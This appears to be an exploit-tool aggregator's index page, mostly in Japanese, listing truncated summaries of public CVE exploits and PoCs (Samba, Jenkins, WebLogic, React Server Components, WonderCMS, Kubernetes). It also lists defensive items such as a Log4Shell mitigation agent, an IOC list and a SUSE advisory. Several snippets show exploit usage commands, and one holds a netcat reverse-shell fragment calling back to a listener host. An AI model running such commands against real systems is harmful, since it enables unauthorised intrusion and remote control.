CVE-2026-6960

CVE-2026-6960 — BookingPress Pro ≤ 5.6 | 未認証の任意ファイルアップロード 研究者: Atomic Edge 深刻度: Critical | CVSS: 9.8 | 認証要件: なし ⚠️ v2 — 技術的修正を適用 （コミュニティからのフィードバックに基づく） 詳細は 変更履歴 を参照してください。 概要 BookingPress Pro WordPress プラグイン（バージョン ≤ 5.6）には、重大な未認証の任意ファイルアップロードの脆弱性が存在します。予約送信ハンドラー bookingpressbookappointmentbooking...

CVE-2023-41425

CVE-2023-41425 CVE-2023-41425 は、Wonder CMS における反射型 XSS 脆弱性であり、installModule コンポーネントを介した悪意のあるスクリプトを通じて任意のコード実行を可能にします。 使用方法 ターゲットの loginURL に対してエクスプロイトを実行し、悪意のある .js ファイルをホストする Web サーバーの IP とポートを指定します: root@kitploit: $ python3 exploit.py --url http://sea.htb/loginURL --xip 10.10.16.25 --xport 8888...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 使い方 root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost...

CVE-2024-23897

CVE-2024-23897 - Jenkins 任意ファイル読み取り エクスプロイトツール インストール CVE-2024-23897 のインストールには go 1.21 が必要です。以下のコマンドを実行してください。 root@kitploit: go install github.com/wjlin0/CVE-2024-23897/cmd/CVE-2024-23897@latest または インストール済みのバイナリはreleaseからダウンロードできます macOS-arm64 macOS-amd64 linux-amd64 windows-amd64 windows-386 使...

log4noshell

Log4NoShell A Java Agent that disables Apache Log4J's JNDI Lookup to mitigate CVE-2021-44228 "Log4Shell". If possible, update your program to use the latest Log4J version, as the vulnerability is fixed as of version 2.17.1. Otherwise, download log4noshell-0.8.1.jar and continue reading. Usage To...

CVE-2025-55182-in-go

CVE-2025-55182 — React Server Components RCE プロトタイプ汚染を利用した React Server Components の RCE エクスプロイトです。 使用方法 root@kitploit: go run main.go -t -c 使用例 root@kitploit: go run main.go -t http://127.0.0.1 -c "id" go run main.go -t http://127.0.0.1 -c "ls -la" go run main.go -t http://127.0.0.1 -c "cat...

nextploiter

nextploiter ================= NextJS 用のエクスプロイトツール 使用方法 コマンド 使用方法 root@kitploit: $ npm install -g nextploiter $ nextploiter COMMAND running command... $ nextploiter --version nextploiter/1.0.0 darwin-arm64 node-v24.12.0 $ nextploiter --help COMMAND USAGE $ nextploiter COMMAND ... コマンド nextploiter...

When Business Email Compromise Starts Rewriting Reality

Business Email Compromise BEC operates on a familiar playbook. Threat actors breach a mailbox, silently monitor operations, map approval chains, and ultimately exploit that access to divert funds or exfiltrate sensitive assets. This dynamic is central to our analysis as we kick off a series aroun...

Tomcat-CVE_2025_24813

Tomcat CVE-2025-24813 playground エクスプロイトは https://github.com/absholi7ly/POC-CVE-2025-24813/blob/main/README.md からフォークしたものです（私の環境では動作しませんでした） Content 1. ROOT.war は、apache-common-3.1 を含みセッションを生成する、単一のサーブレットを持つ最小限のアプリです 2. ysoserial.jar は ysoserial リポジトリ https://github.com/frohoff/ysoserial...

cve-2020-0688

cve-2020-0688 私はCVE-2020-0688をより迅速に実行するためにこのスクリプトを作成しました。脆弱性の確認を改善し、そのための手順を大幅に削減するのに役立ちます。 ファイルを実行する前に、以下の入力を変更してください。 url = "https://mail.something.com" input 1 command = "cmd /c echo OOOPS!!! c:/truongtn.txt" input2 aspsession = "1111a11c-11ad-1c11-1111-1111122f5977" input3\ 免責事項...

Log4j-IOCs

Log4j log4shell CVE-2021-44228 公開IOCsリスト log4j CVE-2021-44228 に関する公開IOCs IP リストsh 45.83.64.237 92.223.89.187 45.83.67.157 45.83.66.8 51.210.175.24 51.75.161.78 185.220.101.62 139.177.178.141 45.83.66.111 94.23.251.77 51.210.175.87 68.183.198.247 185.107.56.121 147.182.154.110 185.100.87.41...

CVE-2017-10271

CVE-2017-10271 CVE-2017-10271 コマンド実行と結果表示 シェルを直接アップロード Linux上のWebLogic 10.3.6.0でテストOK 使用方法とパラメータ python weblogicwlswsatexp.py -t IP:7001 root@kitploit: usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional arguments: -h, --help show this help message and exit -t TARGET,...

ysoserial-cve-2018-2628

ysoserial-cve-2018-2628 0x1. 準備 POCスクリプトとPayload Object生成、JRMPListener実行に必要なソフトウェア環境を準備する Python 2.7.x Oracle Java SE 1.7+ Patch Set Update 180417パッチが適用されたWebLogic Server 10.3.6環境を準備する（AdminServerのみでOK） 既存のこのPSUバージョンを適用したWebLogic環境があれば、この手順はスキップできます。 POCツールを準備する...

CVE-2020-8559

Kubernetes CVE-2020-8559 概念実証 PoC エクスプロイト これはデモンストレーション目的のみです。管理操作を実行する許可があり、CVE-2020-8559 を悪用する許可のあるシステムでのみ使用してください。 これは CVE-2020-8559 の PoC です。この脆弱性により、Node で root を取得した攻撃者がクラスター内の他の任意の Container でコマンドを実行でき、攻撃者が Kubernetes Master Node を乗っ取ることができます。 この脆弱性は、Kubernetes API Server と kubectl コマンドが...

Exploit for CVE-2026-96515

CVE-2026-96515: authenticated root command execution in Netlin...

CVE-2019-19012

CVE-2019-19012 Oniguruma 6.x（6.9.4rc2 未満）の regexec.c 内の searchinrange 関数における整数オーバーフローにより、範囲外読み取りが発生します。この読み取りのオフセットは攻撃者が制御可能です（32ビットコンパイル版のみ影響）。リモート攻撃者は、細工された正規表現によって、サービス拒否や情報漏洩、あるいはその他の影響を引き起こす可能性があります。 研究者: ManhND（The Tarantula Team、VinCSS（Vingroup のメンバー）） Oniguruma とは Oniguruma は K. Kosako によ...

react2shell-poc-CVE-2025-55182

React2Shell PoC CVE-2025-55182 Server Actionsを使用するNext.jsアプリケーションに影響を与える重大なリモートコード実行（RCE）脆弱性であるReact2Shell （CVE-2025-55182）の概念実証（PoC）スクリプトです。 !WARNING 免責事項 : このツールは教育目的および許可されたテスト目的のみで使用してください。誤用に関する責任は負いません。 説明 このスクリプトは、React Server...

inspector-gadget

inspector-gadget root@kitploit: Go Go Gadget Exploit! ..--"\ |""--.. .-' \ | '-. / |...----'\ |,,..--""--.. | '\ .--'.I. ''--..' ''",JGS/|,---' ,' .::-. ', ' ,'-;oIo;-', ' - | = | | | ; .. ; ..-;|\ - /|;-. -' / \// \ '- / ; /-'; \ ; .--| |O O |'-./ ; |/ \ ;OO/ | | \ II / | \ / |O O \ / / | ...

CVE-2026-38945

CVE-2026-38945 著者: Rafael José Núñez Gulías 会社: Iberian Var Group 影響を受ける製品: RayVentory Scan Engine 12.6 Update 8 および以前のバージョン Raynet アドバイザリ: RSEC200967 rvia in Raynet executes a find command with improperly terminated search criteria to locate Java installations when the oracle option is invoked...

Security update for the Linux Kernel (Live Patch 10 for SUSE Linux Enterprise 15 SP7)

This update for the SUSE Linux Enterprise Kernel 6.4.0-150700.53.34 fixes various security issues: The following security issues were fixed: CVE-2026-46150: fanotify: fix false positive on permission events bsc1267388. CVE-2026-53360: KVM: SEV: Require in-GHCB scratch area if GHCB v2+ is in use...